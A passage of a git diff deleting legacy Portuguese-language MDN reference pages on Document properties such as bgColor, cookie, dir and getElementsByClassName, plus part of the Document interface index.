- </div>
- </div>
-</div>
-<p> </p>
diff --git a/files/pt-pt/web/api/document/bgcolor/index.html b/files/pt-pt/web/api/document/bgcolor/index.html
deleted file mode 100644
index db838f4f96..0000000000
--- a/files/pt-pt/web/api/document/bgcolor/index.html
+++ /dev/null
@@ -1,56 +0,0 @@
----
-title: document.bgColor
-slug: Web/API/Document/bgColor
-tags:
- - DOM
- - DOM 0
- - Gecko
- - Referência_do_DOM_Gecko
-translation_of: Web/API/Document/bgColor
-original_slug: DOM/document.bgColor
----
-<div id="page-top">
- <div class="pageText" id="pageText">
- <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><span class="lang lang-en">« <a href="/en/Gecko_DOM_Reference" rel="internal" style="text-decoration: none; color: rgb(4, 121, 167);">Referência do DOM Gecko</a></span></p>
- <div id="section_1">
- <h3 class="editable" id="Sumário" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0.5em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: normal; font-family: Georgia, 'Times New Roman', Times, serif; color: rgb(43, 39, 32); font-size: 21px; border-bottom-width: 1px; border-bottom-style: solid;">Sumário</h3>
- <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"> </p>
- <div style="border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(185, 185, 255); font-weight: bold; text-align: center; padding-top: 0px; padding-right: 10px; padding-bottom: 0px; padding-left: 10px; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px;">
- <p style="margin-top: 4px; margin-right: 0px; margin-bottom: 4px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Obsoleto</p>
- </div>
- <code style="color: inherit; font-weight: inherit;">bgColor</code> obtém / define a cor de fundo do documento atual.
- <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"> </p>
- </div>
- <div id="section_2">
- <h3 class="editable" id="Sintaxe" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0.5em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: normal; font-family: Georgia, 'Times New Roman', Times, serif; color: rgb(43, 39, 32); font-size: 21px; border-bottom-width: 1px; border-bottom-style: solid;"><span>Sintaxe</span></h3>
- <pre class="eval" style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; font: normal normal normal 12px/normal 'Courier New', 'Andale Mono', monospace; color: rgb(37, 34, 29);"><em>document.bgColor = </em><em>cor</em>
-</pre>
- </div>
- <div id="section_3">
- <h3 class="editable" id="Parâmetros" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0.5em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: normal; font-family: Georgia, 'Times New Roman', Times, serif; color: rgb(43, 39, 32); font-size: 21px; border-bottom-width: 1px; border-bottom-style: solid;"><span>Parâmetros</span></h3>
- <ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 25px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
- <li style="margin-bottom: 0.25em;"><code style="color: inherit; font-weight: inherit;">color é</code> uma seqüência que representa a cor como uma palavra (em inglês) (por exemplo, "red") ou valor em hexadecimal (por exemplo, "<code style="color: inherit; font-weight: inherit;">#Ff0000</code>").</li>
- </ul>
- </div>
- <div id="section_4">
- <h3 class="editable" id="Exemplo" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0.5em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: normal; font-family: Georgia, 'Times New Roman', Times, serif; color: rgb(43, 39, 32); font-size: 21px; border-bottom-width: 1px; border-bottom-style: solid;"><span>Exemplo</span></h3>
- <pre class="eval" style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; font: normal normal normal 12px/normal 'Courier New', 'Andale Mono', monospace; color: rgb(37, 34, 29);"><code>document.bgColor = "darkblue"; </code>
-</pre>
- </div>
- <div id="section_5">
- <h3 class="editable" id="Notas" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0.5em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: normal; font-family: Georgia, 'Times New Roman', Times, serif; color: rgb(43, 39, 32); font-size: 21px; border-bottom-width: 1px; border-bottom-style: solid;"><span>Notas</span></h3>
- <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">O valor padrão para essa propriedade no Mozilla Firefox é branco (<code style="color: inherit; font-weight: inherit;">#ffffff </code>em hexadecimal).</p>
- <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><code style="color: inherit; font-weight: inherit;">document.bgColor </code>é substituído no <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268" rel="external nofollow" title="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Nível 2 HTML </a>. A alternativa recomendada é o uso do estilo CSS <code><a href="/pt/CSS/background-color" title="https://developer.mozilla.org/pt/CSS/background-color">background-color</a></code> que pode ser acessada através do DOM com <code>document.body.style.backgroundColor</code>. Outra alternativa é document.body.bgColor, embora este também seja obsoleto em HTML 4.01 em favor da alternativa de CSS.</p>
- <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"> </p>
- </div>
- <div id="section_6">
- <h3 class="editable" id="Especificação" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0.5em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: normal; font-family: Georgia, 'Times New Roman', Times, serif; color: rgb(43, 39, 32); font-size: 21px; border-bottom-width: 1px; border-bottom-style: solid;"><span>Especificação</span></h3>
- <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><span class="lang lang-en">DOM Nível 0. Não faz parte do padrão .</span></p>
- <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><span class="lang lang-en"><a class="external" href="http://msdn.microsoft.com/en-us/library/ms533506(VS.85).aspx" rel="external nofollow" title="http://msdn.microsoft.com/en-us/library/ms533506(VS.85).aspx">MSDN: Propriedade bgColor</a></span></p>
- </div>
- </div>
-</div>
-<div class="collapsed" id="languages" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; position: absolute; top: 0px; right: 15px;">
- <h5 id="Idiomas">Idiomas</h5>
-</div>
-<p> </p>
diff --git a/files/pt-pt/web/api/document/cookie/index.html b/files/pt-pt/web/api/document/cookie/index.html
deleted file mode 100644
index 97525e2e5a..0000000000
--- a/files/pt-pt/web/api/document/cookie/index.html
+++ /dev/null
@@ -1,86 +0,0 @@
----
-title: document.cookie
-slug: Web/API/Document/cookie
-translation_of: Web/API/Document/cookie
-original_slug: DOM/document.cookie
----
-<div id="page-top">
-<div class="pageText" id="pageText">
-<p>« <a href="/pt-PT/Gecko_DOM_Reference">Referência do DOM Gecko</a></p>
-
-<div id="section_1">
-<h3 id="Sumário">Sumário</h3>
-
-<p>Obter e definir os cookies associados com o documento atual.</p>
-</div>
-
-<div id="section_2">
-<h3 id="Sintaxe">Sintaxe</h3>
-
-<pre class="eval"><em>allCookies </em>= <em>document.</em>cookie;</pre>
-
-<ul>
- <li><code>allCookies </code>é uma string contendo uma lista separada por vírgula de "cookies" (isto é, <code><em>chave </em>= <em>valor </em></code>pares).</li>
-</ul>
-
-<pre class="eval"><em>updatedCookie = document.cookie;</em></pre>
-
-<ul>
- <li>
- <div><code>updatedCookie é uma string de forma </code><code><em>chave </em>= <em>valor</em></code>. Observe que você só pode definir / atualizar um cookie de cada vez usando esse método.</div>
- </li>
-</ul>
-
-<ul>
- <li>Qualquer um dos seguintes valores de atributo cookie pode, opcionalmente, seguir o valor-chave par, especificando o cookie para definir / atualizar, e precedido por um ponto e vírgula :
- <ul>
- <li><code>;path = caminho<em> </em></code>(Por exemplo, '/' , '/meuDiretorio' ). Se não for especificado, o padrão é o caminho atual do local do documento atual.</li>
- <li><code>;domain = <em>domínio </em></code>(por ex, 'exemplo1.com ', '.exemplo1.com', (inclui todos os subdomínios ), 'subdominio.exemplo1.com'). Se não for especificado, o padrão é a parte do host local do documento atual.</li>
- <li><code>;max-age = maxima-idade-<em>em-segundos</em></code> (Por exemplo, 60 * 60 * 24 * 365 para um ano)</li>
- <li><code>;expires = <em>data-em-formato-GMTString </em>(</code>Poderia usar <a href="/pt-PT/Core_JavaScript_1.5_Reference/Global_Objects/Date/toGMTString">Date.toGMTString</a>, agora obsoleto). Se não for especificado ele expira no final da sessão.</li>
- <li><code>;secure</code> (cookie só podem ser transmitidos através do protocolo seguro como https)</li>
- </ul>
- </li>
-</ul>
-
-<ul>
- <li>A cadeia de valor do cookie pode usar <a href="/pt-PT/Core_JavaScript_1.5_Reference/Global_Functions/encodeURIComponent">encodeURIComponent()</a> para garantir que a cadeia não contenha nenhuma vírgula, ponto-e-vírgula, ou espaços em branco (que não são permitidos nos valores de cookie).</li>
-</ul>
-</div>
-
-<div id="section_3">
-<h3 id="Exemplo">Exemplo</h3>
-
-<div class="dp-highlighter">
-<ol class="dp-c" start="1">
- <li class="alt">document.cookie = "nome = Italo";</li>
- <li>document.cookie = "comida_favorita = lasanha";</li>
- <li class="alt">alert(document.cookie);</li>
- <li>// Mostra: nome = Italo; comida_favorita = lasanha</li>
-</ol>
-</div>
-</div>
-
-<div id="section_4">
-<h3 id="Segurança">Segurança</h3>
-
-<p>É importante notar que o path<code> </code><strong>não</strong> protege contra a leitura não autorizada do cookie de um caminho diferente<strong>. </strong>Ele pode ser facilmente contornado com DOM simples (por exemplo, a criação de um elemento iframe oculto com o caminho do cookie, e depois aceder a este iframe <code>contentDocument.cookie</code>propriedade). Ele pode ser facilmente (por exemplo, a criação de um elemento o caminho do cookie, e depois aceder a este A única maneira de proteger o acesso "cookie" é usando um domínio ou subdomínio diferente , devido à política de mesma origem.</p>
-</div>
-
-<div id="section_5">
-<h3 id="Notas">Notas</h3>
-
-<div class="editIcon"><a href="/pt-PT/DOM/document.cookie#"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></a></div>
-
-<p>Começando com o Firefox 2, a melhor mecanismo para o lado de armazenamento do cliente está disponível - <a href="/pt-PT/DOM/Storage">WHATWG DOM Storage com o Firefox 2, a para o lado de armazenamento do cliente está disponível</a>.</p>
-</div>
-
-<div id="section_6">
-<h3 id="Especificação">Especificação</h3>
-
-<p><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-8747038">DOM Level 2: HTMLDocument.cookie</a></p>
-</div>
-</div>
-</div>
-
-<p> </p>
diff --git a/files/pt-pt/web/api/document/dir/index.html b/files/pt-pt/web/api/document/dir/index.html
deleted file mode 100644
index a4001b4322..0000000000
--- a/files/pt-pt/web/api/document/dir/index.html
+++ /dev/null
@@ -1,72 +0,0 @@
----
-title: Document.dir
-slug: Web/API/Document/dir
-tags:
- - API
- - DOM
- - HTML
- - dir
- - ltr
- - rtl
-translation_of: Web/API/Document/dir
-original_slug: Web/API/Document.dir
----
-<p>{{Apiref("Document")}}{{non-standard_header}}</p>
-<p>A propriedade <code><strong>Document.dir</strong></code> é uma {{domxref("DOMString")}} que representa a direccionalidade do texto do documento, quer seja da esquerda para a direita (por omissão) ou da direita para a esquerda. Os valores possíveis são <code>'rtl'</code>, da direita para a esquerda e <code>'ltr'</code>, da esquerda para a direita.</p>
-<h2 id="Síntaxe">Síntaxe</h2>
-<pre class="syntaxbox"><em>dirStr</em> = <em>document.</em>dir;
-<em>document.dir</em> = <em>dirStr;</em>
-</pre>
-<h2 id="Especificações">Especificações</h2>
-<p>Este atributo, apesar de implementado por diversos browsers não faz parte de nenhuma especificação.</p>
-<h2 id="Compatibilidade_por_browser">Compatibilidade por browser</h2>
-<p>{{ CompatibilityTable() }}</p>
-<div id="compat-desktop">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari (WebKit)</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatVersionUnknown}} [1]</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
- </table>
-</div>
-<div id="compat-mobile">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Phone</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{ CompatUnknown() }}</td>
- <td>{{CompatVersionUnknown}} [1]</td>
- <td>{{ CompatVersionUnknown() }}</td>
- <td>{{ CompatUnknown() }}</td>
- <td>{{ CompatUnknown() }}</td>
- </tr>
- </tbody>
- </table>
-</div>
-<p>[1] Antes do Firefox 23, a propriedade <code>document.dir</code> retornava "ltr" independentemente do valor atribuido a dir na raiz do elemento {{htmlelement("html")}}. Caso a direcção fosse definida no nó <code>&lt;html&gt;</code>, <code>document.dir</code> não teria qualquer efeito em alterá-la visivelmente (apesar disto, a obtenção da propriedade <code>document.dir</code> iria indicar que a direcção teria sido alterada). Contudo, se o atributo dir estiver definido no element<code>o &lt;html&gt;</code> e for alterado, quer a direccionalidade do documento quer a propriedade <code>document.dir</code> irão reflectir a mudança.</p>
-<h2 id="Ver_também">Ver também</h2>
-<ul>
- <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ms533731.aspx" rel="freelink">http://msdn.microsoft.com/en-us/library/ms533731.aspx</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/document/getelementsbyclassname/index.html b/files/pt-pt/web/api/document/getelementsbyclassname/index.html
deleted file mode 100644
index 84b663c83b..0000000000
--- a/files/pt-pt/web/api/document/getelementsbyclassname/index.html
+++ /dev/null
@@ -1,70 +0,0 @@
----
-title: document.getElementsByClassName
-slug: Web/API/Document/getElementsByClassName
-tags:
- - Referência_do_DOM_Gecko
-translation_of: Web/API/Document/getElementsByClassName
-original_slug: DOM/document.getElementsByClassName
----
-<p>{{ ApiRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p>Retorna um conjunto de elementos com o nome de classe fornecido. Quando chamado no objeto document, todo o documento é pesquisado incluindo o nó raiz. Você pode chamar também getElementsByClassName em qualquer elemento; isso retornará apenas elementos sob o elemento raiz especificado com o nome de classe fornecido.</p>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<pre class="eval"><em>elementos</em> = document.getElementsByClassName(<em>nome</em>) // ou:<em>elementos</em> = elementoRaiz.getElementsByClassName(<em>nome</em>)
-</pre>
-
-<ul>
- <li><code>elementos</code> é um <code>NodeList</code> vivo de elementos encontrados na ordem que aparecem na árvore.</li>
- <li><code>nome</code> é uma<em>string</em> representando um nome de classe dos elementos.</li>
- <li><code>getElementsByClassName</code> pode ser chamado em qualquer elemento, não apenas no <code>document</code>. O elemento em que é chamado será usado como a raiz da pesquisa.</li>
-</ul>
-
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-
-<p>Devolve todos os elementos que têm a classe 'teste':</p>
-
-<pre class="eval"> document.getElementsByClassName('teste')
-</pre>
-
-<p>Devolve todos os elementos que têm as classes 'vermelho' e 'teste':</p>
-
-<pre class="eval"> document.getElementsByClassName('vermelho teste')
-</pre>
-
-<p>Devolve todos os elementos que têm a classe 'teste', dentro de um elemento que tem o ID 'principal':</p>
-
-<pre class="eval"> document.getElementById('principal').getElementsByClassName('teste')
-</pre>
-
-<p>E se formos adiante e adicionarmos extras do Array do <a href="pt/New_in_JavaScript_1.6">JavaScript 1.6</a>, podemos fazer algumas combinações realmente boas.</p>
-
-<p>Encontre todos os elementos div que têm a classe 'teste'</p>
-
-<pre class="eval"> Array.filter( document.getElementsByClassName('teste'), function(elem){
- return elem.nodeName == 'DIV';
- });
-</pre>
-
-<p>Encontre todos os elementos que têm a classe 'teste' (como faz seu elemento pai)</p>
-
-<pre class="eval"> var teste = document.getElementsByClassName('teste');
- Array.filter( teste, function(elem){
- return Array.indexOf( teste, elem.parentNode ) &gt; -1;
- });
-</pre>
-
-<p><span class="comment">XXX escreva-me == Notas == Um método similar existe em &lt;code&gt;Element&lt;/code&gt;</span></p>
-
-<h3 id="Especifica.C3.A7.C3.A3o" name="Especifica.C3.A7.C3.A3o">Especificação</h3>
-
-<p><a class="external" href="http://whatwg.org/specs/web-apps/current-work/#getelementsbyclassname">WHATWG Web Applications 1.0: getElementsByClassName</a></p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/DOM/document.getElementsByClassName", "fr": "fr/DOM/document.getElementsByClassName" } ) }}</p>
diff --git a/files/pt-pt/web/api/document/index.html b/files/pt-pt/web/api/document/index.html
deleted file mode 100644
index c6c9e72b47..0000000000
--- a/files/pt-pt/web/api/document/index.html
+++ /dev/null
@@ -1,458 +0,0 @@
----
-title: Document
-slug: Web/API/Document
-tags:
- - API
- - DOM
- - Documento
- - Interface
- - Referencia
-translation_of: Web/API/Document
----
-<div>{{APIRef}}</div>
-
-<div> </div>
-
-<p><span class="seoSummary">A interface <strong><code>Document</code></strong> representa qualquer página da <em>Web </em>carregada no navegador e serve como um ponto de entrada para um conteúdo da página da <em>Web</em>, que é <a href="/pt-PT/docs/Using_the_W3C_DOM_Level_1_Core" title="Using_the_W3C_DOM_Level_1_Core">árvore DOM</a>.</span> A árvore DOM inclui elementos, tais como {{HTMLElement("body")}} e {{HTMLElement("table")}}, entre <a href="/pt-PT/docs/Web/HTML/Elemento">muitos outros</a>. Este fornece funcionalidade globalmente para o documento, tal como obter o URL da página e criar novos elementos no documento.</p>
-
-<p>{{inheritanceDiagram}}</p>
-
-<p>The <code>Document</code> interface describes the common properties and methods for any kind of document. Depending on the document's type (e.g. <a href="/en-US/docs/HTML" title="HTML">HTML</a>, <a href="/en-US/docs/XML" title="XML">XML</a>, SVG, …), a larger API is available: HTML documents, served with the <code>text/html</code> content type, also implement the {{domxref("HTMLDocument")}} interface, whereas XML and SVG documents implement the {{domxref("XMLDocument")}} interface.</p>
-
-<h2 id="Properties" name="Properties">Construtor</h2>
-
-<dl>
- <dt>{{domxref("Document.Document","Document()")}}{{non-standard_inline}}</dt>
- <dd>Cria um novo objeto <code>Document</code>.</dd>
-</dl>
-
-<h2 id="Properties" name="Properties">Propriedades</h2>
-
-<p><em>This interface also inherits from the {{domxref("Node")}} and {{domxref("EventTarget")}} interfaces.</em></p>
-
-<dl>
- <dt>{{domxref("Document.all")}} {{Deprecated_inline}} {{non-standard_inline}}</dt>
- <dd>Provides access to all elements in the document. This is a legacy, non-standard interface and should not be used.</dd>
- <dt>{{domxref("Document.async")}} {{Deprecated_inline}}</dt>
- <dd>Used with {{domxref("Document.load")}} to indicate an asynchronous request.</dd>
- <dt>{{domxref("Document.characterSet")}} {{readonlyinline}}</dt>
- <dd>Returns the character set being used by the document.</dd>
- <dt>{{domxref("Document.charset")}} {{readonlyinline}} {{Deprecated_inline}}</dt>
- <dd>Alias of {{domxref("Document.characterSet")}}. Use this property instead.</dd>
- <dt>{{domxref("Document.compatMode")}} {{readonlyinline}} {{experimental_inline}}</dt>
- <dd>Indicates whether the document is rendered in <em>quirks</em> or <em>strict</em> mode.</dd>
- <dt>{{domxref("Document.contentType")}} {{readonlyinline}} {{experimental_inline}}</dt>
- <dd>Returns the Content-Type from the MIME Header of the current document.</dd>
- <dt>{{domxref("Document.doctype")}} {{readonlyinline}}</dt>
- <dd>Returns the Document Type Definition (DTD) of the current document.</dd>
- <dt>{{domxref("Document.documentElement")}} {{readonlyinline}}</dt>
- <dd>Returns the {{domxref("Element")}} that is a direct child of the document. For HTML documents, this is normally the {{HTMLElement("html")}} element.</dd>
- <dt>{{domxref("Document.documentURI")}} {{readonlyinline}}</dt>
- <dd>Returns the document location as a string.</dd>
- <dt>{{domxref("Document.domConfig")}} {{Deprecated_inline}}</dt>
- <dd>Should return a {{domxref("DOMConfiguration")}} object.</dd>
- <dt>{{domxref("Document.fullscreen")}} {{obsolete_inline}}</dt>
- <dd><code>true</code> when the document is in {{domxref("Using_full-screen_mode","full-screen mode")}}.</dd>
- <dt>{{domxref("Document.hidden")}} {{readonlyinline}}</dt>
- <dd>…</dd>
- <dt>{{domxref("Document.implementation")}} {{readonlyinline}}</dt>
- <dd>Returns the DOM implementation associated with the current document.</dd>
- <dt>{{domxref("Document.inputEncoding")}} {{readonlyinline}} {{Deprecated_inline}}</dt>
- <dd>Alias of {{domxref("Document.characterSet")}}. Use this property instead.</dd>
- <dt>{{domxref("Document.lastStyleSheetSet")}} {{readonlyinline}}</dt>
- <dd>Returns the name of the style sheet set that was last enabled. Has the value <code>null</code> until the style sheet is changed by setting the value of {{domxref("document.selectedStyleSheetSet","selectedStyleSheetSet")}}.</dd>
- <dt>{{domxref("Document.mozSyntheticDocument")}} {{non-standard_inline}} {{gecko_minversion_inline("8.0")}}</dt>
- <dd>Returns a {{jsxref("Boolean")}} that is <code>true</code> only if this document is synthetic, such as a standalone image, video, audio file, or the like.</dd>
- <dt>{{domxref("Document.mozFullScreenElement")}} {{readonlyinline}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt>
- <dd>The element that's currently in full screen mode for this document.</dd>
- <dt>{{domxref("Document.mozFullScreenEnabled")}} {{readonlyinline}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt>
- <dd><code>true</code> if calling {{domxref("Element.mozRequestFullscreen()")}} would succeed in the curent document.</dd>
- <dt>{{domxref("Document.pointerLockElement")}} {{readonlyinline}} {{experimental_inline}}</dt>
- <dd>Returns the element set as the target for mouse events while the pointer is locked. <code>null</code> if lock is pending, pointer is unlocked, or if the target is in another document.</dd>
- <dt>{{domxref("Document.preferredStyleSheetSet")}} {{readonlyinline}}</dt>
- <dd>Returns the preferred style sheet set as specified by the page author.</dd>
- <dt>{{domxref("Document.scrollingElement")}} {{experimental_inline}} {{readonlyinline}}</dt>
- <dd>Returns a reference to the {{domxref("Element")}} that scrolls the document.</dd>
- <dt>{{domxref("Document.selectedStyleSheetSet")}}</dt>
- <dd>Returns which style sheet set is currently in use.</dd>
- <dt>{{domxref("Document.styleSheets")}} {{readonlyinline}}</dt>
- <dd>Returns a list of the style sheet objects on the current document.</dd>
- <dt>{{domxref("Document.styleSheetSets")}} {{readonlyinline}}</dt>
- <dd>Returns a list of the style sheet sets available on the document.</dd>
- <dt>{{domxref("Document.timeline")}} {{readonlyinline}}</dt>
- <dd>…</dd>
- <dt>{{domxref("Document.undoManager")}} {{readonlyinline}} {{experimental_inline}}</dt>
- <dd>…</dd>
- <dt>{{domxref("Document.visibilityState")}} {{readonlyinline}}</dt>
- <dd>
- <p>Returns a <code>string</code> denoting the visibility state of the document. Possible values are <code>visible</code>,  <code>hidden</code>,  <code>prerender</code>, and <code>unloaded</code>.</p>
- </dd>
- <dt>{{domxref("Document.xmlEncoding")}} {{Deprecated_inline}}</dt>
- <dd>Returns the encoding as determined by the XML declaration.</dd>
- <dt>{{domxref("Document.xmlStandalone")}} {{obsolete_inline("10.0")}}</dt>
- <dd>Returns <code>true</code> if the XML declaration specifies the document to be standalone (<em>e.g.,</em> An external part of the DTD affects the document's content), else <code>false</code>.</dd>
- <dt>{{domxref("Document.xmlVersion")}} {{obsolete_inline("10.0")}}</dt>
- <dd>Returns the version number as specified in the XML declaration or <code>"1.0"</code> if the declaration is absent.</dd>
-</dl>
-
-<p>The <code>Document</code> interface is extended with the {{domxref("ParentNode")}} interface:</p>
-
-<p>{{page("/en-US/docs/Web/API/ParentNode","Properties")}}</p>
-
-<h3 id="Extensão_para_o_documento_HTML">Extensão para o documento HTML</h3>
-
-<p><em>The <code>Document</code> interface for HTML documents inherits from the {{domxref("HTMLDocument")}} interface or, since HTML5,  is extended for such documents.</em></p>
-
-<dl>
- <dt>{{domxref("Document.activeElement")}} {{readonlyinline}}</dt>
- <dd>Returns the currently focused element.</dd>
- <dt>{{domxref("Document.alinkColor")}} {{Deprecated_inline}}</dt>
- <dd>Returns or sets the color of active links in the document body.</dd>
- <dt>{{domxref("Document.anchors")}}</dt>
- <dd>Returns a list of all of the anchors in the document.</dd>
- <dt>{{domxref("Document.applets")}} {{Deprecated_inline}}</dt>
- <dd>Returns an ordered list of the applets within a document.</dd>
- <dt>{{domxref("Document.bgColor")}} {{Deprecated_inline}}</dt>
- <dd>Gets/sets the background color of the current document.</dd>
- <dt>{{domxref("Document.body")}}</dt>
- <dd>Returns the {{HTMLElement("body")}} element of the current document.</dd>
- <dt>{{domxref("Document.cookie")}}</dt>
- <dd>Returns a semicolon-separated list of the cookies for that document or sets a single cookie.</dd>
- <dt>{{domxref("Document.defaultView")}} {{readonlyinline}}</dt>
- <dd>Returns a reference to the window object.</dd>
- <dt>{{domxref("Document.designMode")}}</dt>
- <dd>Gets/sets the ability to edit the whole document.</dd>
- <dt>{{domxref("Document.dir")}} {{readonlyinline}}</dt>
- <dd>Gets/sets directionality (rtl/ltr) of the document.</dd>
- <dt>{{domxref("Document.domain")}}</dt>
- <dd>Gets/sets the domain of the current document.</dd>
- <dt>{{domxref("Document.embeds")}} {{readonlyinline}}</dt>
- <dd>Returns a list of the embedded {{HTMLElement('embed')}} elements within the current document.</dd>
- <dt>{{domxref("document.fgColor")}} {{Deprecated_inline}}</dt>
- <dd>Gets/sets the foreground color, or text color, of the current document.</dd>
- <dt>{{domxref("Document.forms")}} {{readonlyinline}}</dt>
- <dd>Returns a list of the {{HTMLElement("form")}} elements within the current document.</dd>
- <dt>{{domxref("Document.head")}} {{readonlyinline}}</dt>
- <dd>Returns the {{HTMLElement("head")}} element of the current document.</dd>
- <dt>{{domxref("Document.height")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
- <dd>Gets/sets the height of the current document.</dd>
- <dt>{{domxref("Document.images")}} {{readonlyinline}}</dt>
- <dd>Returns a list of the images in the current document.</dd>
- <dt>{{domxref("Document.lastModified")}} {{readonlyinline}}</dt>
- <dd>Returns the date on which the document was last modified.</dd>
- <dt>{{domxref("Document.linkColor")}} {{Deprecated_inline}}</dt>
- <dd>Gets/sets the color of hyperlinks in the document.</dd>
- <dt>{{domxref("Document.links")}} {{readonlyinline}}</dt>
- <dd>Returns a list of all the hyperlinks in the document.</dd>
- <dt>{{domxref("Document.location")}} {{readonlyinline}}</dt>
- <dd>Returns the URI of the current document.</dd>
- <dt>{{domxref("Document.plugins")}} {{readonlyinline}}</dt>
- <dd>Returns a list of the available plugins.</dd>
- <dt>{{domxref("Document.readyState")}} {{readonlyinline}}  {{gecko_minversion_inline("1.9.2")}}</dt>
- <dd>Returns loading status of the document.</dd>
- <dt>{{domxref("Document.referrer")}} {{readonlyinline}}</dt>
- <dd>Returns the URI of the page that linked to this page.</dd>
- <dt>{{domxref("Document.scripts")}} {{readonlyinline}}</dt>
- <dd>Returns all the {{HTMLElement("script")}} elements on the document.</dd>
- <dt>{{domxref("Document.title")}}</dt>
- <dd>Sets or gets the title of the current document.</dd>
- <dt>{{domxref("Document.URL")}} {{readonlyInline}}</dt>
- <dd>Returns<span style="line-height: 19.0909080505371px;"> the document location as a string.</span></dd>
- <dt>{{domxref("Document.vlinkColor")}} {{Deprecated_inline}}</dt>
- <dd>Gets/sets the color of visited hyperlinks.</dd>
- <dt>{{domxref("Document.width")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
- <dd>Returns the width of the current document.</dd>
-</dl>
-
-<h3 id="Event_handlers" name="Event_handlers">Event handlers</h3>
-
-<dl>
- <dt>{{domxref("Document.onafterscriptexecute")}} {{non-standard_inline}}</dt>
- <dd>Represents the event handling code for the {{event("afterscriptexecute")}} event.</dd>
- <dt>{{domxref("Document.onbeforescriptexecute")}} {{non-standard_inline}}</dt>
- <dd>Represents the event handling code for the {{event("beforescriptexecute")}} event.</dd>
- <dt>{{domxref("Document.oncopy")}} {{non-standard_inline}}</dt>
- <dd>Represents the event handling code for the {{event("copy")}} event.</dd>
- <dt>{{domxref("Document.oncut")}} {{non-standard_inline}}</dt>
